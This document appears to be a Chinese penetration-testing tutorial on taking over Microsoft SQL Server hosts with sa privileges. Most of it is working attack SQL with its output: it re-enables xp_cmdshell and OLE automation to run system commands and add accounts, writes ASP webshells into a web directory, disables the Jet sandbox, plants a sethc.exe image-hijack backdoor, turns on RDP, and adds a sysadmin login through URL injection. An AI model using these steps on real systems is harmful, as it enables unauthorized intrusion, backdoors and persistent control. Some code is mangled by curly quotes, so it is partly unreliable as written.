详述MSSQL服务在渗透测试中的利用

本文将带领大家学习以下内容:学习使用`xp_cmdshell`扩展存储过程,学习调用`wscript.shell`,学习MSSQL写文件,学习沙盘模式提权,学习注册表映像劫持提权,纯干货~

前言:致力于复现最实用的漏洞利用过程。

本文将带领大家学习以下内容:

  • part1  学习使用`xp_cmdshell`扩展存储过程
  • part2 学习调用`wscript.shell`
  • part3 学习MSSQL写文件
  • part4 学习沙盘模式提权
  • part5 学习注册表映像劫持提

    part1 使用`xp_cmdshell`扩展存储过程

    步骤1 连接MSSQL服务

    首先打开SQL查询分析器如下填写相关参数(此处数据库相关信息假设是我们通过前期渗透测试得到。
    相关参数填写完毕之后点击`确定`进入该服务器MSSQL查询分析页面。
    登入对方的MSSQL服务之后,我们看到SQL查询分析器的界面如下,请看图示,了解查询分析器的功能页:

     1.png

    如果没有出现左侧的对象浏览器,请点击如上图示的右上角红框部分来开启对象浏览器。

    查询框用于输入将要执行查询的SQL语句。

    比如,我们在查询框输入一下语句来查看数据库信息和系统版本:

select @@version

MSSQL语句后面可以跟`;`结束查询或连接多句查询。后面跟`–`可以达到注释以后多余的语句的目的。

默认情况下我们查看到的结果并不完整,是表格查看方式,为了更明显的查看到SQL查询返回,我们点击工具栏的`查询`->`文本显示结果`,然后再执行SQL语句:

此时可以看到完整的查询结果为:

Microsoft SQL Server 2005 – 9.00.1399.06 (Intel X86) 
        Oct 14 2005 00:33:37 
        Copyright (c) 1988-2005 Microsoft Corporation
        Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
        
(所影响的行数为 1 行)

MSSQL版本:`Microsoft SQL Server 2005`

服务器版本:`Windows NT 5.2(windows2003)`

步骤2 验证权限并尝试执行

我们使用一下SQL语句来检测对方的MSSQL服务是否为`SA`权限(`sa`权限的MSSQL用户一般来说对应的是系统的`system`权限):

select IS_SRVROLEMEMBER(‘sysadmin’)

如果查询结果返回`1`则说明是`SA`权限,很幸运,我们的目标机的`MSSQL`账户对应的是`SA`
权限。

使用以下SQL语句判断目标机的MSSQL服务是否存在`xp_cmdshell`扩展存储过程:

select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’;

只要返回结果不是`0`就说明存在`xp_cmdshell`扩展存储过程,启用没启用我们稍后再作判断:

 

如上,查询返回`1`,即是存在`xp_cmdshell`扩展存储过程,那么我们尝试执行以下SQL语句使用`xp_cmdshell`扩展存储过程来执行系统命令`whoami`(查看当前系统权限):

Exec master..xp_cmdshell ‘whoami’;

 

命令并没有执行成功,得到了如下错误信息。

Error Message:SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。


步骤3 修复扩展存储过程

幸运的是我们从报错信息可以得出,`xp_cmdshell`扩展存储过程没被删除,只是禁止访问。于是我们就可以通过SQL语句启用它。
(如果不支持多句执行的话,请单独执行以分号分割的每句):

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;

 

以上SQL语句的执行返回如下:

配置选项 ‘show advanced options’ 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
配置选项 ‘xp_cmdshell’ 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

SQL查询返回如上则说明`xp_cmdshell`扩展存储过程启用成功。

启用之后我们再使用以下SQL语句使用`xp_cmdshell`扩展存储过程执行系统命令:

Exec master..xp_cmdshell ‘whoami’;

 

语句执行回显如下:

output                                                                                                                                                                                                                                                          
———
nt authority\system
NULL

(所影响的行数为 2 行)

如上,我们成功取得回显,得知当前用户权限是`SYSTEM`.

当然也可以进行windows的账户操作:

Exec master..xp_cmdshell ‘net user’;

> `net user`命令查看系统当前用户情况 

步骤4 后续处理

如果`xp_cmdshell`扩展存储过程被删除,可以使用以下语句重新添加:

EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int;

sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’;


使用以下语句来卸载存储过程`xp_cmdshell`:

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 0;RECONFIGURE;

得到如下返回:

配置选项 ‘show advanced options’ 已从 1 更改为 1。请运行 RECONFIGURE 语句进行安装。
配置选项 ‘xp_cmdshell’ 已从 1 更改为 0。请运行 RECONFIGURE 语句进行安装。


禁用之后我们再尝试使用`xp_cmdshell`扩展存储过程执行命令将不会成功:

Exec master..xp_cmdshell ‘whoami’;

 

若果想彻底删除`xp_cmdshell`扩展存储过程,建议在C盘里直接搜索`xplog70.dll` ,然后删除之。

part2 调用`wscript.shell`

步骤1 恢复`sys.sp_OACreate`

当`xp_cmdshell`扩展存储过程被删除或者无法使用的情况,我们不妨试试利用`SP_OACreate`和`SP_OAMETHOD`调用系统`wscript.shell`执行系统命令。

Declare @runshell INT;Exec SP_OACreate ‘wscript.shell’,@runshell out;Exec SP_OAMeTHOD @runshell,’run’,null,’net user admin 123456 /add’;

如下可见,默认是不行的,有如下报错信息:

SQL Server 阻止了对组件”Ole Automation Procedures”的 过程”sys.sp_OACreate”的访问,因为此组件已作为此服务器安全配置的一部分而被关闭

使用 `Ole Automation Procedures` 选项可指定是否可以在 `Transact-SQL` 批处理中实例化 `OLE Automation` 对象。 还可以使用基于策略的管理或者 `sp_configure` 存储过程来配置这一选项。 有关详细信息,请参阅外围应用配置器。
可以将 `Ole Automation Procedures` 选项设置为以下值:

>`0`:禁用 OLE Automation Procedures。 SQL Server 新实例的默认值。
>`1`:启用 OLE Automation Procedures。

当启用 `OLE Automation Procedures `时,对 `sp_OACreate`的调用将会启动 `OLE` 共享执行环境。
可以使用 `sp_configure` 系统存储过程来查看和更改 `Ole Automation Procedures` 选项的当前值。

执行以下SQL语句查看 `OLE Automation Procedures` 的当前设置:

EXEC sp_configure ‘Ole Automation Procedures’;


默认情况下返回以下信息

minimum  maximum  config_value run_value
——- ——— ———— ———
   0        1          0           0


如上,`config_value` 和`run_value`的值都为0,表示禁用。

执行以下SQL语句启用 `OLE Automation Procedures`:

exec sp_configure ‘show advanced options’, 1;  RECONFIGURE;  exec sp_configure ‘Ole Automation Procedures’, 1;  RECONFIGURE;

 

配置选项 ‘show advanced options’ 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
配置选项 ‘Ole Automation Procedures’ 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。


步骤2 利用`sys.sp_OACreate`

再试试利用`SP_OACreate`和`SP_OAMETHOD`调用系统`wscript.shell`执行系统命令。

Declare @runshell INT;Exec SP_OACreate ‘wscript.shell’,@runshell out;Exec SP_OAMeTHOD @runshell,’run’,null,’net user admin 123456 /add’;


如下图可见,没有报错,成功执行了查询,但是没有看到CMD命令的回显:

 

那么我们可以尝试使用`xp_cmdshell`来验证账户是否添加成功:

如果`xp_cmdshell`拓展存储过程不存在,先使用以下语句恢复:

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;


然后执行以下语句验证是否通过利用`SP_OACreate`和`SP_OAMETHOD`调用系统`wscript.shell`执行了添加admin账户的系统命令:

Exec master..xp_cmdshell ‘net user admin’;


 

如上图,存在admin账户,利用成功。

part3 MSSQL写文件

步骤1 sp_makewebtask写文件

因为是`SA`权限,如果目标服务器是web服务器,我们也不用去备份了,可以直接写个一句话木马进去到web目录。

在不知道web目录的情况下我们可以使用以下SQL语句来列目录:

exec master.dbo.xp_subdirs ‘c:\www\’;

 

`sp_makewebtask`拓展存储过程并不会列出目录下的文件,只会列出目录。

假设`c:\www\`为当前web目录,我们尝试使用以下语句来向该目录写一个名为`testwr.asp`的文件,文件内容是ASP类型的一句话木马:

exec sp_makewebtask ‘c:\www\testwr.asp’,'select”<%execute(request(“SB”))%>” ‘

 

如上图可见,文件写入不成功,爆出了以下错误:

服务器: 消息 15281,级别 16,状态 1,过程 xp_makewebtask,行 1
SQL Server 阻止了对组件 ‘Web Assistant Procedures’ 的 过程’sys.xp_makewebtask’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘Web Assistant Procedures’。有关启用 ‘Web Assistant Procedures’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。

由以上报错信息得知,其实是`xp_makewebtask`扩展存储过程被禁用,那么我们可以使用以下SQL语句恢复开启`xp_makewebtask`扩展存储过程:

exec sp_configure ‘Web Assistant Procedures’, 1; RECONFIGURE

返回如下信息:

配置选项 ‘Web Assistant Procedures’ 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

如上SQL执行返回,提示命令执行成功,我们看看效果:

再执行SQL语句试试写文件:

exec sp_makewebtask ‘c:\www\testwri.asp’,'select”<%execute(request(“SB”))%>” ‘

 

如上提示命令执行成功。

那么文件到底有没有写入成功呢,我们可以通过`xp_cmdshell`扩展存储过程执行`type`命令来验证文件内容:

exec master..xp_cmdshell ‘type c:\www\testwri.asp’

 

如上图执行回显可见,一句话木马的代码是写进去了,但是也有一些杂乱的东西:

<TR><TH ALIGN=LEFT>n/a</TH></TR>
<TR><TD><TT><%execute(request(“SB”))%></TT></TD></TR>
</TABLE>
(所影响的行数为 27 行)


步骤2 xp_cmdshell写文件

若服务器的`xp_cmdshell`扩展存储过程可用,则可以通过执行系统命名直接写文件:

exec master..xp_cmdshell ‘echo ^<%eval request(“pass”)%^> >c:\www\update.asp’–

 

> 此处`echo`命令为windows写文件命令,`^`符号是为了避免`<、>`符号与系统命令元命令符号冲突。

命令执行成功之后即会写入`c:\www\update.asp`文件,内容为ASP类型的一句话木马。

那么命令执行之后我们可以通过以下语句来验证文件内容(`type`语句打印出文件内容):

exec master..xp_cmdshell ‘type c:\www\update.asp’–

 

如上可见,一句话木马代码写入文件成功。

part4 沙盘模式提权

利用`jet.oledb`执行系统命令

select * from openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows\system32\ias\ias.mdb’,'select shell(“cmd.exe /c whoami”)’)

默认情况下报错如下:

服务器: 消息 15281,级别 16,状态 1,行 1
SQL Server 阻止了对组件 ‘Ad Hoc Distributed Queries’ 的 STATEMENT’OpenRowset/OpenDatasource’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘Ad Hoc Distributed Queries’。有关启用 ‘Ad Hoc Distributed Queries’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。


启用Ad Hoc Distributed Queries:

exec sp_configure ‘show advanced options’,1;reconfigure;exec sp_configure ‘Ad Hoc Distributed Queries’,1;reconfigure

 

得到如下返回信息:

配置选项 ‘show advanced options’ 已从 1 更改为 1。请运行 RECONFIGURE 语句进行安装。
配置选项 ‘Ad Hoc Distributed Queries’ 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。


试试关闭系统沙盒模式,它在注册表的位置是
`HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\Engine\SandBoxMode`
默认键值为`2`,即只在`Access`的模式下开启沙盒模式,对应的键值是

`0`:在任何所有者中禁止启用安全模式

`1` :为仅在允许范围内

`2` :必须在access模式下

`3`:完全开启


我们要将其设置为0就可以关闭系统沙盒模式了,通过SQL语句实现

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Jet\4.0\Engines’,'SandBoxMode’,'REG_DWORD’,0

然后利用`jet.oledb`执行系统命令whoami:

select * from openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows\system32\ias\ias.mdb’,'select shell(“cmd.exe /c whoami”)’)

 

Expr1000                                              
———————
2296.0

(所影响的行数为 1 行)

然后再尝试执行系统命令:

select * from openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows\system32\ias\ias.mdb’,'select shell(“cmd.exe /c net user test 123456 /add”)’)


 

此处系统命令执行无回显,我们这样验证账户是否添加上去:

exec master..xp_cmdshell ‘net user test’–

 

如下恢复沙盘模式:

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Jet\4.0\Engines’,'SandBoxMode’,'REG_DWORD’,2

再执行上述命令将会失败:

exec master..xp_cmdshell ‘net user test’–

 

part5 注册表映像劫持提权

先来恢复写注册表的存储过程:

exec sp_addextendedproc xp_regwrite,’xpstar.dll’

一般如此执行来进行映像劫持:

exec xp_regwrite ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe’,'debugger’,'REG_SZ’,'c:\windows\system32\cmd.exe’

实际上述语句不行,需要16进制编码,完成后如下:

exec xp_regwrite 0x484b45595f4c4f43414c5f4d414348494e45,0x534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c496d6167652046696c6520457865637574696f6e204f7074696f6e735c73657468632e657865,0×6465627567676572,0x5245475f535a,’c:\\windows\\system32\\taskmgr.exe’–

 

这段代码表示要劫持的程序为sethc.exe,只要运行文件名为sethc.exe的,不管在哪个文件夹下都会启动任务管理器(当然你可以直接把sethc.exe改成你要启动程序的路径 )

通过注册表开3389:

exec master..xp_cmdshell “wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1″–

返回如下:

output                                                                                                                                                                                                                                                          
———————–
正在安装 WMIC,请稍候。执行 (\\V5EST0RAB06\ROOT\CIMV2:Win32_TerminalServiceSetting.ServerName=”V5EST0RAB06″)->SetAllowTSConnections()

方法执行成功。

输出参数:
instance of __PARAMETERS
{
        ReturnValue = 0;
};
NULL
NULL
(所影响的行数为 9 行)

如上返回就是成功。
连接目标机,按下5次shift:

 

通过任务管理器调用cmd:

 

那我们在恢复扩展存储过程的时候如果出现`sp_addextendedproc`没找到的情况,如果不是删除了`xplog70.dll`,`SA`权限也能直接恢复
过程`SP_ADDextendedproc`,需要外联多句执行,注入点的情况下可以类似以下先添加一个数据库用户:

?id=1;exec master.dbo.sp_addlogin haco,lovehaco;–

?id=1;exec master.dbo.sp_addsrvrolemember haco,sysadmin;–

调出查询器 恢复过程`sp_addextendedproc` 如下:

use master
go
create procedure sp_addextendedproc
@functname nvarchar(517),
@dllname varchar(255)
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,’sp_addextendedproc’)
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0)


然后再恢复存储过程就行了。

sp_addextendedproc xp_cmdshell,@dllname=xplog70.dll

1

更多精彩
取消
Loading...

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php